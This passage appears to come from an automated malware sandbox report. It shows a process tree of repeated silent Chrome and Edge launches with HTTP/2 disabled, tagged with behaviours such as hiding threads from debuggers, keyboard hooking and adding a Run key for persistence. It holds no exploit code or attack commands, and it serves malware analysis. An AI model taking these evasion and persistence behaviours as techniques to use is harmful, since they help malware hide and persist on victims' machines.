                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Enumerates system info in registry
                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:312
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                        3⤵
                                                                                                                          PID:1436
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1820,5476884334155816904,6800740007837573285,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1828 /prefetch:2
                                                                                                                          3⤵
                                                                                                                            PID:3776
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1820,5476884334155816904,6800740007837573285,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1876 /prefetch:8
                                                                                                                            3⤵
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:4212
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1820,5476884334155816904,6800740007837573285,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2476 /prefetch:8
                                                                                                                            3⤵
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:3128
                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 312 -s 3780
                                                                                                                            3⤵
                                                                                                                            • Program crash
                                                                                                                            PID:3412
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                          2⤵
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:4664
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                            3⤵
                                                                                                                              PID:2216
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1828,16439913911285785808,9367039190906832117,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1832 /prefetch:2
                                                                                                                              3⤵
                                                                                                                              • Drops file in Program Files directory
                                                                                                                              PID:848
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1828,16439913911285785808,9367039190906832117,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1880 /prefetch:8
                                                                                                                              3⤵
                                                                                                                                PID:3064
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1828,16439913911285785808,9367039190906832117,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2648 /prefetch:8
                                                                                                                                3⤵
                                                                                                                                • Drops file in Program Files directory
                                                                                                                                PID:2080
                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                C:\Windows\system32\WerFault.exe -u -p 4664 -s 3752
                                                                                                                                3⤵
                                                                                                                                • Program crash
                                                                                                                                PID:396
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                              2⤵
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                              PID:368
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x194,0x198,0x19c,0x170,0x1a0,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                3⤵
                                                                                                                                  PID:772
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=2044,14459260750544037657,2877636199152271468,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2012 /prefetch:2
                                                                                                                                  3⤵
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  PID:1588
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,14459260750544037657,2877636199152271468,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=2100 /prefetch:8
                                                                                                                                  3⤵
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  PID:4968
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,14459260750544037657,2877636199152271468,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2116 /prefetch:8
                                                                                                                                  3⤵
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  PID:4596
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2044,14459260750544037657,2877636199152271468,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=3532 /prefetch:8
                                                                                                                                  3⤵
                                                                                                                                    PID:1300
                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 368 -s 3740
                                                                                                                                    3⤵
                                                                                                                                    • Program crash
                                                                                                                                    PID:4496
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                  2⤵
                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  • Enumerates system info in registry
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:4440
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                    3⤵
                                                                                                                                      PID:5124
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1896,3116375551803190974,1771588223929464623,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1908 /prefetch:2
                                                                                                                                      3⤵
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      PID:5332
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1896,3116375551803190974,1771588223929464623,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1956 /prefetch:8
                                                                                                                                      3⤵
                                                                                                                                        PID:5344
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1896,3116375551803190974,1771588223929464623,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2592 /prefetch:8
                                                                                                                                        3⤵
                                                                                                                                          PID:5620
                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                          C:\Windows\system32\WerFault.exe -u -p 4440 -s 3764
                                                                                                                                          3⤵
                                                                                                                                          • Program crash
                                                                                                                                          PID:3112
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                        2⤵
                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:4424
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                          3⤵
                                                                                                                                            PID:4816
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,13846436053796485022,17638558024645138103,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1884 /prefetch:8
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            PID:1484
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1824,13846436053796485022,17638558024645138103,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1836 /prefetch:2
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            PID:5768
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,13846436053796485022,17638558024645138103,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2540 /prefetch:8
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            PID:3040
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,13846436053796485022,17638558024645138103,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=3764 /prefetch:8
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            PID:3772
                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 4424 -s 3812
                                                                                                                                            3⤵
                                                                                                                                            • Program crash
                                                                                                                                            PID:6080
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --use-spdy=off --disable-http2
                                                                                                                                          2⤵
                                                                                                                                          • Adds Run key to start application
                                                                                                                                          • Enumerates system info in registry
                                                                                                                                          • Modifies registry class
                                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                          PID:2448
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x18c,0x190,0x194,0x168,0x198,0x7ffc464d46f8,0x7ffc464d4708,0x7ffc464d4718 --use-spdy=off --disable-http2
                                                                                                                                            3⤵
                                                                                                                                              PID:2588
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
                                                                                                                                              3⤵
                                                                                                                                                PID:4944
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=2260 /prefetch:3
                                                                                                                                                3⤵
                                                                                                                                                  PID:5160
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2704 /prefetch:8
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5244
                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2200
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3780 /prefetch:1
                                                                                                                                                      3⤵
                                                                                                                                                        PID:628
                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3808 /prefetch:1
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2220
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=service --disable-http2 --mojo-platform-channel-handle=5072 /prefetch:8
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3552
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=service --disable-http2 --mojo-platform-channel-handle=5312 /prefetch:8
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5564
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6224 /prefetch:1
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2588
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6096
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x254,0x258,0x25c,0x230,0x260,0x7ff647125460,0x7ff647125470,0x7ff647125480
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:312
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:1
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5804
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6508 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4700
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4184
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=6864 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4604
                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=6864 /prefetch:8
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4452
                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --lang=en-US --service-sandbox-type=audio --disable-http2 --mojo-platform-channel-handle=6644 /prefetch:8
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2728
                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4848 /prefetch:1
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5420
                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4816
                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6568 /prefetch:1
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4444
                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1992 /prefetch:1
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3796
                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
